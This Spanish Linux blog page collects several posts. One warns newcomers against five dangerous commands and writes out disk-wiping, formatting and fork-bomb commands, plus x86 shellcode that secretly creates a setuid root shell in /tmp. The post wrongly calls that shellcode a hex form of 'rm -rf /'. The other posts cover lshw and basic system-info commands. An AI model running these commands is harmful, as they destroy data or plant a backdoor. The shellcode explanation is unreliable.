Temas etiquetados como: ‘Linux’

5 comandos de Linux que nunca deberías ejecutar.

20 Noviembre, 2009

Cuando una persona es nueva en el mundo de Linux, es muy probable encontrarse con personas mal intencionadas que intentaran engañarlo a través de foros, chats, etc. para que por medio de comandos usted pueda dañar sus archivos, equipo o peor aun el sistema operativo por completo, para evitar que esta situación peligrosa pueda ocurrir, he aquí una lista de comandos sumamente peligrosos en Linux y que usted debería evitar.

1. rm -rf /
Este comando forzara a borrar recursivamente todos los archivos dentro del directorio raíz.

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión en hexadecimal de [rm-rf /] que pueden engañar incluso a los usuarios más experimentados de Linux.

3. mkfs.ext3 /dev/sda

Esto reformateara todos los archivos del dispositivo que se menciona después del comando mkfs.

4. : (){:|:&};:

Conocido como «forkbom», este comando le dirá a su sistema que ejecute un gran numero de procesos hasta que el sistema se congele, esto a menudo puede conducir a la corrupción de datos.

5. mv /home/yourhomedirectory/* /dev/null

Este comando moverá todos los archivos almacenados dentro de su directorio personal a un lugar que no existe, por lo que nunca volvería a ver sus archivos de nuevo.

Por supuesto hay muchos otros comandos que son peligrosos en Linux que no se mencionan aquí, así que si tienes algo que añadir, por favor, compártelo con nosotros a través de comentarios.

PD: No me hago responsable por pedida de datos al ejecutar algún comando mencionado en este post en un entorno Linux de producción ;) , si realmente quiere probar alguno de estos comandos te recomiendo que lo hagas por medio de una maquina virtual. Están advertidos.

Saludos!!

Comandos Utiles – lshw

14 Octubre, 2009

Un comando de mucha utilidad si queremos conocer detalles sobre nuestro hardware es lshw, la forma de uso es sencilla :D

lshw [formato] [opciones... ]

donde formato puede ser:

-X Inicia la GUI (si esta disponible)
-html activa el modo HTML
-xml activa el modo XML
-short muestra rutas del hardware
-businfo muestra información del bus

y opciones puede ser:

-enable TEST habilita las pruebas
-disable TEST deshabilita las pruebas
-class CLASS limita la salida a una clase
-C CLASS alias para -class CLASS

un ejemplo sencillo de uso seria ejecutar lo siguiente en una terminal:

lshw -C cpu

Con esto estamos indicando que nos muestre la información de la clase CPU, por lo tanto nos mostrara la información disponible de nuestro procesador, en mi caso devolvió lo siguiente :D

*-cpu
description: CPU
product: Intel(R) Celeron(R) D CPU 3.06GHz
vendor: Intel Corp.
physical id: 4
bus info: cpu@0
version: 15.6.5
serial: 0000-0F65-0000-0000-0000-0000
slot: Socket 775
size: 3066MHz
capacity: 4GHz
width: 64 bits
clock: 133MHz
capabilities: boot fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx x86-64 constant_tsc up pebs bts pni dtes64 monitor ds_cpl cid cx16 xtpr pdcm lahf_lm
configuration: id=0

Existen mas combinaciones disponibles, para obtener información de diferentes dispositivos de hardware, quieres saber mas?

man lshw
:D además puedes encontrar mas información aquí

Saludos!!

Screenshots de Octubre 09

13 Octubre, 2009

Dejo algunas capturas de pantalla de mi escritorio correspondiente al mes de octubre :D

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Hello Planet!!

23 Julio, 2009

Pues a partir de este día mi blog formara parte de Planeta Linux una comunidad de latinoamericanos blogueando sobre Linux :D

Puedes conocer mas acerca de este proyecto aquí, además puedes seguirlo a través de twitter, identi.ca, facebook, last.fm y por el IRC.

Así que los invito a leer y/o a unirse (si tienes un blog que habla sobre software libre) para que este gran proyecto siga creciendo.

Saludos!!

Comandos Básicos II

10 Diciembre, 2008

Continuando con la serie comandos básicos en linux que inicie con el post anterior aqui les dejo la continuación de como obtener información relevante del sistema.

# dmesg muestra la información del arranque del sistema y la detección del hardware

# lsdev información acerca del hardware instalado

# cat /proc/cpuinfo modelo del CPU

# cat /proc/meminfo información de la memoria

# grep MemTotal /proc/meminfo muestra la memoria fisica

# free -m memoria libre y usada (-m para MB)

# cat /proc/devices dispositivos configurados

# lspci -tv muestra dispositivos PCI

# lsusb -tv muestra dispositivos USB

# lshal muestra una lista de todos los dispositivos con sus propiedades

Espero que les sea de utilidad :)

Saludos!!

My Hackergotchi

27 Noviembre, 2008

Williams HackergotchiAfter a few days with the idea of making a hacergotchi :P I’ve finally finished, I do not have many pictures, so I choose not been a very difficult task, Despite the little knowledge I have in the use of GIMP I think I am acceptable.

anyway, I will continue trying :D

Cheers!!

Comandos Básicos I

24 Noviembre, 2008

Cuando se es principiante en el mundo de GNU/Linux una de las tareas mas dificiles es obtener información referente al sistema (muchas veces necesario para buscar soluciones a problemas comunes en foros, listas de ayuda, etc.) ya que si no dispnemos de dicha información es muy dificil que otros usuarios puedan ayudarnos a solventar nuestro problema, estos comandos son básicos por lo que para un usuario avanzado esto no es nuevo.

# uname -a obtener la versión del Kernel.

# lsb_release -a información completa de cualquier distribución LSB

# cat /etc/debian_version Obtener la versión de Debian.

# uptime Muestrar el tiempo que el sistema ha estado funcionando + carga.

# hostname nombre del sistema.

# hostname -i muestra la dirección IP del equipo.

# last reboot muestra el historial de reinicios del sistema.

Estos son solo algunos de los comando basicos para obtener información del sistema, la mejor forma de memorizarlos es ponerlos en practica :P en futuros post tratare de incluir otros comandos de utilidad.

Saludos!!

In the beginning

27 Octubre, 2008

As I had mentioned earlier on of my goals is to be an active developer and from this day began my journey to become, on of the points that should be improved in order to achieve my goal is to reinforce the knowledge that I have the C language and approach to Linux.

A book I found that I’m currently reading is Foundations of GTK + Development, from what I have read so far it seems to me a book very complete and very easy to understand, without any doubt is what I need :)

Anyway for me is a good start :P